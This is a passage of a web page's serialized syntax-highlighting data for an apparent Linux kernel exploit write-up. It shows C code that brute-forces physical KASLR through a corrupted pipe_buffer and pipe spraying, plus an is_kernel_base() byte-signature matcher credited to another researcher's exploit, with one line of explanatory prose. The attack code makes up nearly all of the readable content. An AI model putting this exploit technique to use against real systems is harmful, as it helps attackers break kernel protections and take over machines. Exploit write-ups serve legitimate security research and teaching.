Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[58114],{"type":24,"tag":32,"props":58115,"children":58116},{"__ignoreMap":7},[58117,58124,58132,58140,58164,58197,58217,58257,58264,58308,58342,58369,58405,58412,58458,58465,58495,58508,58573,58580,58592,58600,58607,58614,58640,58647,58667,58679,58686,58693,58700],{"type":24,"tag":83,"props":58118,"children":58119},{"class":85,"line":86},[58120],{"type":24,"tag":83,"props":58121,"children":58122},{"style":107},[58123],{"type":29,"value":10065},{"type":24,"tag":83,"props":58125,"children":58126},{"class":85,"line":113},[58127],{"type":24,"tag":83,"props":58128,"children":58129},{"style":107},[58130],{"type":29,"value":58131},"// Bruteforce phys-KASLR\n",{"type":24,"tag":83,"props":58133,"children":58134},{"class":85,"line":128},[58135],{"type":24,"tag":83,"props":58136,"children":58137},{"style":107},[58138],{"type":29,"value":58139},"    uint64_t kernel_base;\n",{"type":24,"tag":83,"props":58141,"children":58142},{"class":85,"line":183},[58143,58147,58152,58156,58160],{"type":24,"tag":83,"props":58144,"children":58145},{"style":90},[58146],{"type":29,"value":46192},{"type":24,"tag":83,"props":58148,"children":58149},{"style":107},[58150],{"type":29,"value":58151}," found ",{"type":24,"tag":83,"props":58153,"children":58154},{"style":143},[58155],{"type":29,"value":1275},{"type":24,"tag":83,"props":58157,"children":58158},{"style":90},[58159],{"type":29,"value":8803},{"type":24,"tag":83,"props":58161,"children":58162},{"style":107},[58163],{"type":29,"value":321},{"type":24,"tag":83,"props":58165,"children":58166},{"class":85,"line":203},[58167,58172,58176,58181,58185,58189,58193],{"type":24,"tag":83,"props":58168,"children":58169},{"style":90},[58170],{"type":29,"value":58171},"    uint8_t",{"type":24,"tag":83,"props":58173,"children":58174},{"style":137},[58175],{"type":29,"value":660},{"type":24,"tag":83,"props":58177,"children":58178},{"style":107},[58179],{"type":29,"value":58180},"[PAGE_SIZE] ",{"type":24,"tag":83,"props":58182,"children":58183},{"style":143},[58184],{"type":29,"value":1275},{"type":24,"tag":83,"props":58186,"children":58187},{"style":107},[58188],{"type":29,"value":44936},{"type":24,"tag":83,"props":58190,"children":58191},{"style":245},[58192],{"type":29,"value":1166},{"type":24,"tag":83,"props":58194,"children":58195},{"style":107},[58196],{"type":29,"value":1071},{"type":24,"tag":83,"props":58198,"children":58199},{"class":85,"line":212},[58200,58204,58208,58213],{"type":24,"tag":83,"props":58201,"children":58202},{"style":101},[58203],{"type":29,"value":55220},{"type":24,"tag":83,"props":58205,"children":58206},{"style":107},[58207],{"type":29,"value":558},{"type":24,"tag":83,"props":58209,"children":58210},{"style":187},[58211],{"type":29,"value":58212},"\"[*] bruteforce phys-KASLR\"",{"type":24,"tag":83,"props":58214,"children":58215},{"style":107},[58216],{"type":29,"value":581},{"type":24,"tag":83,"props":58218,"children":58219},{"class":85,"line":256},[58220,58224,58228,58232,58236,58240,58244,58249,58253],{"type":24,"tag":83,"props":58221,"children":58222},{"style":117},[58223],{"type":29,"value":2777},{"type":24,"tag":83,"props":58225,"children":58226},{"style":107},[58227],{"type":29,"value":223},{"type":24,"tag":83,"props":58229,"children":58230},{"style":90},[58231],{"type":29,"value":55348},{"type":24,"tag":83,"props":58233,"children":58234},{"style":107},[58235],{"type":29,"value":54257},{"type":24,"tag":83,"props":58237,"children":58238},{"style":143},[58239],{"type":29,"value":1275},{"type":24,"tag":83,"props":58241,"children":58242},{"style":245},[58243],{"type":29,"value":248},{"type":24,"tag":83,"props":58245,"children":58246},{"style":107},[58247],{"type":29,"value":58248},";; i",{"type":24,"tag":83,"props":58250,"children":58251},{"style":143},[58252],{"type":29,"value":50984},{"type":24,"tag":83,"props":58254,"children":58255},{"style":107},[58256],{"type":29,"value":2905},{"type":24,"tag":83,"props":58258,"children":58259},{"class":85,"line":270},[58260],{"type":24,"tag":83,"props":58261,"children":58262},{"style":107},[58263],{"type":29,"value":28938},{"type":24,"tag":83,"props":58265,"children":58266},{"class":85,"line":302},[58267,58272,58276,58281,58285,58290,58294,58299,58303],{"type":24,"tag":83,"props":58268,"children":58269},{"style":107},[58270],{"type":29,"value":58271},"        kernel_base ",{"type":24,"tag":83,"props":58273,"children":58274},{"style":143},[58275],{"type":29,"value":1275},{"type":24,"tag":83,"props":58277,"children":58278},{"style":245},[58279],{"type":29,"value":58280}," 0x40",{"type":24,"tag":83,"props":58282,"children":58283},{"style":143},[58284],{"type":29,"value":9563},{"type":24,"tag":83,"props":58286,"children":58287},{"style":107},[58288],{"type":29,"value":58289}," ((PHYSICAL_ALIGN ",{"type":24,"tag":83,"props":58291,"children":58292},{"style":143},[58293],{"type":29,"value":4315},{"type":24,"tag":83,"props":58295,"children":58296},{"style":107},[58297],{"type":29,"value":58298}," i) ",{"type":24,"tag":83,"props":58300,"children":58301},{"style":143},[58302],{"type":29,"value":12506},{"type":24,"tag":83,"props":58304,"children":58305},{"style":107},[58306],{"type":29,"value":58307}," PAGE_SHIFT);\n",{"type":24,"tag":83,"props":58309,"children":58310},{"class":85,"line":324},[58311,58316,58320,58324,58328,58333,58337],{"type":24,"tag":83,"props":58312,"children":58313},{"style":137},[58314],{"type":29,"value":58315},"        pipebuf",{"type":24,"tag":83,"props":58317,"children":58318},{"style":107},[58319],{"type":29,"value":13502},{"type":24,"tag":83,"props":58321,"children":58322},{"style":137},[58323],{"type":29,"value":58038},{"type":24,"tag":83,"props":58325,"children":58326},{"style":143},[58327],{"type":29,"value":146},{"type":24,"tag":83,"props":58329,"children":58330},{"style":107},[58331],{"type":29,"value":58332}," vmemmap_base ",{"type":24,"tag":83,"props":58334,"children":58335},{"style":143},[58336],{"type":29,"value":4126},{"type":24,"tag":83,"props":58338,"children":58339},{"style":107},[58340],{"type":29,"value":58341}," kernel_base;\n",{"type":24,"tag":83,"props":58343,"children":58344},{"class":85,"line":345},[58345,58349,58353,58357,58361,58365],{"type":24,"tag":83,"props":58346,"children":58347},{"style":137},[58348],{"type":29,"value":58315},{"type":24,"tag":83,"props":58350,"children":58351},{"style":107},[58352],{"type":29,"value":13502},{"type":24,"tag":83,"props":58354,"children":58355},{"style":137},[58356],{"type":29,"value":13646},{"type":24,"tag":83,"props":58358,"children":58359},{"style":143},[58360],{"type":29,"value":146},{"type":24,"tag":83,"props":58362,"children":58363},{"style":245},[58364],{"type":29,"value":248},{"type":24,"tag":83,"props":58366,"children":58367},{"style":107},[58368],{"type":29,"value":321},{"type":24,"tag":83,"props":58370,"children":58371},{"class":85,"line":358},[58372,58376,58380,58384,58388,58393,58397,58401],{"type":24,"tag":83,"props":58373,"children":58374},{"style":137},[58375],{"type":29,"value":58315},{"type":24,"tag":83,"props":58377,"children":58378},{"style":107},[58379],{"type":29,"value":13502},{"type":24,"tag":83,"props":58381,"children":58382},{"style":137},[58383],{"type":29,"value":8885},{"type":24,"tag":83,"props":58385,"children":58386},{"style":143},[58387],{"type":29,"value":146},{"type":24,"tag":83,"props":58389,"children":58390},{"style":107},[58391],{"type":29,"value":58392}," PAGE_SIZE ",{"type":24,"tag":83,"props":58394,"children":58395},{"style":143},[58396],{"type":29,"value":4126},{"type":24,"tag":83,"props":58398,"children":58399},{"style":245},[58400],{"type":29,"value":295},{"type":24,"tag":83,"props":58402,"children":58403},{"style":107},[58404],{"type":29,"value":321},{"type":24,"tag":83,"props":58406,"children":58407},{"class":85,"line":367},[58408],{"type":24,"tag":83,"props":58409,"children":58410},{"style":107},[58411],{"type":29,"value":10065},{"type":24,"tag":83,"props":58413,"children":58414},{"class":85,"line":406},[58415,58420,58424,58428,58432,58436,58441,58445,58450,58454],{"type":24,"tag":83,"props":58416,"children":58417},{"style":107},[58418],{"type":29,"value":58419},"        for (",{"type":24,"tag":83,"props":58421,"children":58422},{"style":90},[58423],{"type":29,"value":18786},{"type":24,"tag":83,"props":58425,"children":58426},{"style":137},[58427],{"type":29,"value":8368},{"type":24,"tag":83,"props":58429,"children":58430},{"style":143},[58431],{"type":29,"value":146},{"type":24,"tag":83,"props":58433,"children":58434},{"style":245},[58435],{"type":29,"value":248},{"type":24,"tag":83,"props":58437,"children":58438},{"style":107},[58439],{"type":29,"value":58440},"; j ",{"type":24,"tag":83,"props":58442,"children":58443},{"style":143},[58444],{"type":29,"value":5552},{"type":24,"tag":83,"props":58446,"children":58447},{"style":107},[58448],{"type":29,"value":58449}," PIPE_SPRAY; j",{"type":24,"tag":83,"props":58451,"children":58452},{"style":143},[58453],{"type":29,"value":50984},{"type":24,"tag":83,"props":58455,"children":58456},{"style":107},[58457],{"type":29,"value":2905},{"type":24,"tag":83,"props":58459,"children":58460},{"class":85,"line":427},[58461],{"type":24,"tag":83,"props":58462,"children":58463},{"style":107},[58464],{"type":29,"value":31400},{"type":24,"tag":83,"props":58466,"children":58467},{"class":85,"line":440},[58468,58473,58477,58481,58486,58490],{"type":24,"tag":83,"props":58469,"children":58470},{"style":101},[58471],{"type":29,"value":58472},"            memset",{"type":24,"tag":83,"props":58474,"children":58475},{"style":107},[58476],{"type":29,"value":558},{"type":24,"tag":83,"props":58478,"children":58479},{"style":143},[58480],{"type":29,"value":2853},{"type":24,"tag":83,"props":58482,"children":58483},{"style":107},[58484],{"type":29,"value":58485},"data, ",{"type":24,"tag":83,"props":58487,"children":58488},{"style":245},[58489],{"type":29,"value":1166},{"type":24,"tag":83,"props":58491,"children":58492},{"style":107},[58493],{"type":29,"value":58494},", PAGE_SIZE);\n",{"type":24,"tag":83,"props":58496,"children":58497},{"class":85,"line":449},[58498,58503],{"type":24,"tag":83,"props":58499,"children":58500},{"style":90},[58501],{"type":29,"value":58502},"            int",{"type":24,"tag":83,"props":58504,"children":58505},{"style":107},[58506],{"type":29,"value":58507}," count;\n",{"type":24,"tag":83,"props":58509,"children":58510},{"class":85,"line":458},[58511,58516,58521,58525,58530,58534,58539,58544,58548,58552,58556,58561,58565,58569],{"type":24,"tag":83,"props":58512,"children":58513},{"style":117},[58514],{"type":29,"value":58515},"            if",{"type":24,"tag":83,"props":58517,"children":58518},{"style":107},[58519],{"type":29,"value":58520}," (count ",{"type":24,"tag":83,"props":58522,"children":58523},{"style":143},[58524],{"type":29,"value":1275},{"type":24,"tag":83,"props":58526,"children":58527},{"style":101},[58528],{"type":29,"value":58529}," read",{"type":24,"tag":83,"props":58531,"children":58532},{"style":107},[58533],{"type":29,"value":558},{"type":24,"tag":83,"props":58535,"children":58536},{"style":137},[58537],{"type":29,"value":58538},"pfd",{"type":24,"tag":83,"props":58540,"children":58541},{"style":107},[58542],{"type":29,"value":58543},"[j][",{"type":24,"tag":83,"props":58545,"children":58546},{"style":245},[58547],{"type":29,"value":1166},{"type":24,"tag":83,"props":58549,"children":58550},{"style":107},[58551],{"type":29,"value":1232},{"type":24,"tag":83,"props":58553,"children":58554},{"style":143},[58555],{"type":29,"value":2853},{"type":24,"tag":83,"props":58557,"children":58558},{"style":107},[58559],{"type":29,"value":58560},"data, PAGE_SIZE) ",{"type":24,"tag":83,"props":58562,"children":58563},{"style":143},[58564],{"type":29,"value":5552},{"type":24,"tag":83,"props":58566,"children":58567},{"style":245},[58568],{"type":29,"value":248},{"type":24,"tag":83,"props":58570,"children":58571},{"style":107},[58572],{"type":29,"value":2905},{"type":24,"tag":83,"props":58574,"children":58575},{"class":85,"line":1065},[58576],{"type":24,"tag":83,"props":58577,"children":58578},{"style":107},[58579],{"type":29,"value":31436},{"type":24,"tag":83,"props":58581,"children":58582},{"class":85,"line":1668},[58583,58588],{"type":24,"tag":83,"props":58584,"children":58585},{"style":117},[58586],{"type":29,"value":58587},"                continue",{"type":24,"tag":83,"props":58589,"children":58590},{"style":107},[58591],{"type":29,"value":321},{"type":24,"tag":83,"props":58593,"children":58594},{"class":85,"line":1713},[58595],{"type":24,"tag":83,"props":58596,"children":58597},{"style":107},[58598],{"type":29,"value":58599},"            }\n",{"type":24,"tag":83,"props":58601,"children":58602},{"class":85,"line":1730},[58603],{"type":24,"tag":83,"props":58604,"children":58605},{"style":107},[58606],{"type":29,"value":10065},{"type":24,"tag":83,"props":58608,"children":58609},{"class":85,"line":1770},[58610],{"type":24,"tag":83,"props":58611,"children":58612},{"emptyLinePlaceholder":16},[58613],{"type":29,"value":3422},{"type":24,"tag":83,"props":58615,"children":58616},{"class":85,"line":1778},[58617,58622,58627,58631,58635],{"type":24,"tag":83,"props":58618,"children":58619},{"style":107},[58620],{"type":29,"value":58621},"            if (",{"type":24,"tag":83,"props":58623,"children":58624},{"style":3163},[58625],{"type":29,"value":58626},"is_kernel_base",{"type":24,"tag":83,"props":58628,"children":58629},{"style":107},[58630],{"type":29,"value":558},{"type":24,"tag":83,"props":58632,"children":58633},{"style":3163},[58634],{"type":29,"value":839},{"type":24,"tag":83,"props":58636,"children":58637},{"style":107},[58638],{"type":29,"value":58639},")) // [1] identify kernel base\n",{"type":24,"tag":83,"props":58641,"children":58642},{"class":85,"line":1803},[58643],{"type":24,"tag":83,"props":58644,"children":58645},{"style":107},[58646],{"type":29,"value":31436},{"type":24,"tag":83,"props":58648,"children":58649},{"class":85,"line":1811},[58650,58655,58659,58663],{"type":24,"tag":83,"props":58651,"children":58652},{"style":107},[58653],{"type":29,"value":58654},"                found ",{"type":24,"tag":83,"props":58656,"children":58657},{"style":143},[58658],{"type":29,"value":1275},{"type":24,"tag":83,"props":58660,"children":58661},{"style":90},[58662],{"type":29,"value":12215},{"type":24,"tag":83,"props":58664,"children":58665},{"style":107},[58666],{"type":29,"value":321},{"type":24,"tag":83,"props":58668,"children":58669},{"class":85,"line":8792},[58670,58675],{"type":24,"tag":83,"props":58671,"children":58672},{"style":117},[58673],{"type":29,"value":58674},"                break",{"type":24,"tag":83,"props":58676,"children":58677},{"style":107},[58678],{"type":29,"value":321},{"type":24,"tag":83,"props":58680,"children":58681},{"class":85,"line":8810},[58682],{"type":24,"tag":83,"props":58683,"children":58684},{"style":107},[58685],{"type":29,"value":58599},{"type":24,"tag":83,"props":58687,"children":58688},{"class":85,"line":8855},[58689],{"type":24,"tag":83,"props":58690,"children":58691},{"style":107},[58692],{"type":29,"value":3092},{"type":24,"tag":83,"props":58694,"children":58695},{"class":85,"line":8961},[58696],{"type":24,"tag":83,"props":58697,"children":58698},{"emptyLinePlaceholder":16},[58699],{"type":29,"value":3422},{"type":24,"tag":83,"props":58701,"children":58702},{"class":85,"line":23248},[58703],{"type":24,"tag":83,"props":58704,"children":58705},{"style":107},[58706],{"type":29,"value":10065},{"type":24,"tag":25,"props":58708,"children":58709},{},[58710,58712,58716,58718,58724,58726,58730],{"type":29,"value":58711},"Notice that at ",{"type":24,"tag":83,"props":58713,"children":58714},{},[58715],{"type":29,"value":3756},{"type":29,"value":58717}," we call the ",{"type":24,"tag":32,"props":58719,"children":58721},{"className":58720},[],[58722],{"type":29,"value":58723},"is_kernel_base()",{"type":29,"value":58725}," function. This is a function based on lau's exploit ",{"type":24,"tag":83,"props":58727,"children":58728},{},[58729],{"type":29,"value":17845},{"type":29,"value":58731}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":24,"tag":73,"props":58733,"children":58735},{"className":28861,"code":58734,"language":28863,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[58736],{"type":24,"tag":32,"props":58737,"children":58738},{"__ignoreMap":7},[58739,58746,58776,58783,58791,58798,58806,58877,58939,58954,58961,58969,59037,59099,59160,59221,59283,59345,59406,59467,59528,59589,59650,59665,59672,59687,59694],{"type":24,"tag":83,"props":58740,"children":58741},{"class":85,"line":86},[58742],{"type":24,"tag":83,"props":58743,"children":58744},{"style":107},[58745],{"type":29,"value":10065},{"type":24,"tag":83,"props":58747,"children":58748},{"class":85,"line":113},[58749,58754,58759,58764,58768,58772],{"type":24,"tag":83,"props":58750,"children":58751},{"style":107},[58752],{"type":29,"value":58753},"static bool is_kernel_base(",{"type":24,"tag":83,"props":58755,"children":58756},{"style":90},[58757],{"type":29,"value":58758},"unsigned",{"type":24,"tag":83,"props":58760,"children":58761},{"style":90},[58762],{"type":29,"value":58763}," char",{"type":24,"tag":83,"props":58765,"children":58766},{"style":90},[58767],{"type":29,"value":9563},{"type":24,"tag":83,"props":58769,"children":58770},{"style":137},[58771],{"type":29,"value":30438},{"type":24,"tag":83,"props":58773,"children":58774},{"style":107},[58775],{"type":29,"value":2905},{"type":24,"tag":83,"props":58777,"children":58778},{"class":85,"line":128},[58779],{"type":24,"tag":83,"props":58780,"children":58781},{"style":107},[58782],{"type":29,"value":10628},{"type":24,"tag":83,"props":58784,"children":58785},{"class":85,"line":183},[58786],{"type":24,"tag":83,"props":58787,"children":58788},{"style":2735},[58789],{"type":29,"value":58790},"    // thanks lau :)\n",{"type":24,"tag":83,"props":58792,"children":58793},{"class":85,"line":203},[58794],{"type":24,"tag":83,"props":58795,"children":58796},{"emptyLinePlaceholder":16},[58797],{"type":29,"value":3422},{"type":24,"tag":83,"props":58799,"children":58800},{"class":85,"line":212},[58801],{"type":24,"tag":83,"props":58802,"children":58803},{"style":2735},[58804],{"type":29,"value":58805},"    // get-sig kernel_runtime_1\n",{"type":24,"tag":83,"props":58807,"children":58808},{"class":85,"line":256},[58809,58813,58817,58822,58827,58831,58836,58840,58844,58849,58853,58857,58861,58865,58869,58873],{"type":24,"tag":83,"props":58810,"children":58811},{"style":117},[58812],{"type":29,"value":218},{"type":24,"tag":83,"props":58814,"children":58815},{"style":107},[58816],{"type":29,"value":223},{"type":24,"tag":83,"props":58818,"children":58819},{"style":101},[58820],{"type":29,"value":58821},"memcmp",{"type":24,"tag":83,"props":58823,"children":58824},{"style":107},[58825],{"type":29,"value":58826},"(addr ",{"type":24,"tag":83,"props":58828,"children":58829},{"style":143},[58830],{"type":29,"value":4126},{"type":24,"tag":83,"props":58832,"children":58833},{"style":245},[58834],{"type":29,"value":58835}," 0x0",{"type":24,"tag":83,"props":58837,"children":58838},{"style":107},[58839],{"type":29,"value":568},{"type":24,"tag":83,"props":58841,"children":58842},{"style":187},[58843],{"type":29,"value":19800},{"type":24,"tag":83,"props":58845,"children":58846},{"style":48092},[58847],{"type":29,"value":58848},"\\x48\\x8d\\x25\\x51\\x3f",{"type":24,"tag":83,"props":58850,"children":58851},{"style":187},[58852],{"type":29,"value":19800},{"type":24,"tag":83,"props":58854,"children":58855},{"style":107},[58856],{"type":29,"value":568},{"type":24,"tag":83,"props":58858,"children":58859},{"style":245},[58860],{"type":29,"value":17845},{"type":24,"tag":83,"props":58862,"children":58863},{"style":107},[58864],{"type":29,"value":633},{"type":24,"tag":83,"props":58866,"children":58867},{"style":143},[58868],{"type":29,"value":8320},{"type":24,"tag":83,"props":58870,"children":58871},{"style":245},[58872],{"type":29,"value":248},{"type":24,"tag":83,"props":58874,"children":58875},{"style":143},[58876],{"type":29,"value":1425},{"type":24,"tag":83,"props":58878,"children":58879},{"class":85,"line":270},[58880,58885,58889,58893,58898,58902,58906,58911,58915,58919,58923,58927,58931,58935],{"type":24,"tag":83,"props":58881,"children":58882},{"style":101},[58883],{"type":29,"value":58884},"        memcmp",{"type":24,"tag":83,"props":58886,"children":58887},{"style":107},[58888],{"type":29,"value":58826},{"type":24,"tag":83,"props":58890,"children":58891},{"style":143},[58892],{"type":29,"value":4126},{"type":24,"tag":83,"props":58894,"children":58895},{"style":245},[58896],{"type":29,"value":58897}," 0x7",{"type":24,"tag":83,"props":58899,"children":58900},{"style":107},[58901],{"type":29,"value":568},{"type":24,"tag":83,"props":58903,"children":58904},{"style":187},[58905],{"type":29,"value":19800},{"type":24,"tag":83,"props":58907,"children":58908},{"style":48092},[58909],{"type":29,"value":58910},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":24,"tag":83,"props":58912,"children":58913},{"style":187},[58914],{"type":29,"value":19800},{"type":24,"tag":83,"props":58916,"children":58917},{"style":107},[58918],{"type":29,"value":568},{"type":24,"tag":83,"props":58920,"children":58921},{"style":245},[58922],{"type":29,"value":54384},{"type":24,"tag":83,"props":58924,"children":58925},{"style":107},[58926],{"type":29,"value":633},{"type":24,"tag":83,"props":58928,"children":58929},{"style":143},[58930],{"type":29,"value":8320},{"type":24,"tag":83,"props":58932,"children":58933},{"style":245},[58934],{"type":29,"value":248},{"type":24,"tag":83,"props":58936,"children":58937},{"style":107},[58938],{"type":29,"value":2905},{"type":24,"tag":83,"props":58940,"children":58941},{"class":85,"line":302},[58942,58946,58950],{"type":24,"tag":83,"props":58943,"children":58944},{"style":117},[58945],{"type":29,"value":15482},{"type":24,"tag":83,"props":58947,"children":58948},{"style":90},[58949],{"type":29,"value":12215},{"type":24,"tag":83,"props":58951,"children":58952},{"style":107},[58953],{"type":29,"value":321},{"type":24,"tag":83,"props":58955,"children":58956},{"class":85,"line":324},[58957],{"type":24,"tag":83,"props":58958,"children":58959},{"emptyLinePlaceholder":16},[58960],{"type":29,"value":3422},{"type":24,"tag":83,"props":58962,"children":58963},{"class":85,"line":345},[58964],{"type":24,"tag":83,"props":58965,"children":58966},{"style":2735},[58967],{"type":29,"value":58968},"    // get-sig kernel_runtime_2\n",{"type":24,"tag":83,"props":58970,"children":58971},{"class":85,"line":358},[58972,58976,58980,58984,58988,58992,58996,59000,59004,59009,59013,59017,59021,59025,59029,59033],{"type":24,"tag":83,"props":58973,"children":58974},{"style":117},[58975],{"type":29,"value":218},{"type":24,"tag":83,"props":58977,"children":58978},{"style":107},[58979],{"type":29,"value":223},{"type":24,"tag":83,"props":58981,"children":58982},{"style":101},[58983],{"type":29,"value":58821},{"type":24,"tag":83,"props":58985,"children":58986},{"style":107},[58987],{"type":29,"value":58826},{"type":24,"tag":83,"props":58989,"children":58990},{"style":143},[58991],{"type":29,"value":4126},{"type":24,"tag":83,"props":58993,"children":58994},{"style":245},[58995],{"type":29,"value":58835},{"type":24,"tag":83,"props":58997,"children":58998},{"style":107},[58999],{"type":29,"value":568},{"type":24,"tag":83,"props":59001,"children":59002},{"style":187},[59003],{"type":29,"value":19800},{"type":24,"tag":83,"props":59005,"children":59006},{"style":48092},[59007],{"type":29,"value":59008},"\\xfc\\x0f\\x01\\x15",{"type":24,"tag":83,"props":59010,"children":59011},{"style":187},[59012],{"type":29,"value":19800},{"type":24,"tag":83,"props":59014,"children":59015},{"style":107},[59016],{"type":29,"value":568},{"type":24,"tag":83,"props":59018,"children":59019},{"style":245},[59020],{"type":29,"value":17265},{"type":24,"tag":83,"props":59022,"children":59023},{"style":107},[59024],{"type":29,"value":633},{"type":24,"tag":83,"props":59026,"children":59027},{"style":143},[59028],{"type":29,"value":8320},{"type":24,"tag":83,"props":59030,"children":59031},{"style":245},[59032],{"type":29,"value":248},{"type":24,"tag":83,"props":59034,"children":59035},{"style":143},[59036],{"type":29,"value":1425},{"type":24,"tag":83,"props":59038,"children":59039},{"class":85,"line":367},[59040,59044,59048,59052,59057,59061,59065,59070,59074,59078,59083,59087,59091,59095],{"type":24,"tag":83,"props":59041,"children":59042},{"style":101},[59043],{"type":29,"value":58884},{"type":24,"tag":83,"props":59045,"children":59046},{"style":107},[59047],{"type":29,"value":58826},{"type":24,"tag":83,"props":59049,"children":59050},{"style":143},[59051],{"type":29,"value":4126},{"type":24,"tag":83,"props":59053,"children":59054},{"style":245},[59055],{"type":29,"value":59056}," 0x8",{"type":24,"tag":83,"props":59058,"children":59059},{"style":107},[59060],{"type":29,"value":568},{"type":24,"tag":83,"props":59062,"children":59063},{"style":187},[59064],{"type":29,"value":19800},{"type":24,"tag":83,"props":59066,"children":59067},{"style":48092},[59068],{"type":29,"value":59069},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":24,"tag":83,"props":59071,"children":59072},{"style":187},[59073],{"type":29,"value":19800},{"type":24,"tag":83,"props":59075,"children":59076},{"style":107},[59077],{"type":29,"value":568},{"type":24,"tag":83,"props":59079,"children":59080},{"style":245},[59081],{"type":29,"value":59082},"12",{"type":24,"tag":83,"props":59084,"children":59085},{"style":107},[59086],{"type":29,"value":633},{"type":24,"tag":83,"props":59088,"children":59089},{"style":143},[59090],{"type":29,"value":8320},{"type":24,"tag":83,"props":59092,"children":59093},{"style":245},[59094],{"type":29,"value":248},{"type":24,"tag":83,"props":59096,"children":59097},{"style":143},[59098],{"type":29,"value":1425},{"type":24,"tag":83,"props":59100,"children":59101},{"class":85,"line":406},[59102,59106,59110,59114,59119,59123,59127,59132,59136,59140,59144,59148,59152,59156],{"type":24,"tag":83,"props":59103,"children":59104},{"style":101},[59105],{"type":29,"value":58884},{"type":24,"tag":83,"props":59107,"children":59108},{"style":107},[59109],{"type":29,"value":58826},{"type":24,"tag":83,"props":59111,"children":59112},{"style":143},[59113],{"type":29,"value":4126},{"type":24,"tag":83,"props":59115,"children":59116},{"style":245},[59117],{"type":29,"value":59118}," 0x18",{"type":24,"tag":83,"props":59120,"children":59121},{"style":107},[59122],{"type":29,"value":568},{"type":24,"tag":83,"props":59124,"children":59125},{"style":187},[59126],{"type":29,"value":19800},{"type":24,"tag":83,"props":59128,"children":59129},{"style":48092},[59130],{"type":29,"value":59131},"\\x89\\xde\\x8b\\x0d",{"type":24,"tag":83,"props":59133,"children":59134},{"style":187},[59135],{"type":29,"value":19800},{"type":24,"tag":83,"props":59137,"children":59138},{"style":107},[59139],{"type":29,"value":568},{"type":24,"tag":83,"props":59141,"children":59142},{"style":245},[59143],{"type":29,"value":17265},{"type":24,"tag":83,"props":59145,"children":59146},{"style":107},[59147],{"type":29,"value":633},{"type":24,"tag":83,"props":59149,"children":59150},{"style":143},[59151],{"type":29,"value":8320},{"type":24,"tag":83,"props":59153,"children":59154},{"style":245},[59155],{"type":29,"value":248},{"type":24,"tag":83,"props":59157,"children":59158},{"style":143},[59159],{"type":29,"value":1425},{"type":24,"tag":83,"props":59161,"children":59162},{"class":85,"line":427},[59163,59167,59171,59175,59180,59184,59188,59193,59197,59201,59205,59209,59213,59217],{"type":24,"tag":83,"props":59164,"children":59165},{"style":101},[59166],{"type":29,"value":58884},{"type":24,"tag":83,"props":59168,"children":59169},{"style":107},[59170],{"type":29,"value":58826},{"type":24,"tag":83,"props":59172,"children":59173},{"style":143},[59174],{"type":29,"value":4126},{"type":24,"tag":83,"props":59176,"children":59177},{"style":245},[59178],{"type":29,"value":59179}," 0x20",{"type":24,"tag":83,"props":59181,"children":59182},{"style":107},[59183],{"type":29,"value":568},{"type":24,"tag":83,"props":59185,"children":59186},{"style":187},[59187],{"type":29,"value":19800},{"type":24,"tag":83,"props":59189,"children":59190},{"style":48092},[59191],{"type":29,"value":59192},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":24,"tag":83,"props":59194,"children":59195},{"style":187},[59196],{"type":29,"value":19800},{"type":24,"tag":83,"props":59198,"children":59199},{"style":107},[59200],{"type":29,"value":568},{"type":24,"tag":83,"props":59202,"children":59203},{"style":245},[59204],{"type":29,"value":18157},{"type":24,"tag":83,"props":59206,"children":59207},{"style":107},[59208],{"type":29,"value":633},{"type":24,"tag":83,"props":59210,"children":59211},{"style":143},[59212],{"type":29,"value":8320},{"type":24,"tag":83,"props":59214,"children":59215},{"style":245},[59216],{"type":29,"value":248},{"type":24,"tag":83,"props":59218,"children":59219},{"style":143},[59220],{"type":29,"value":1425}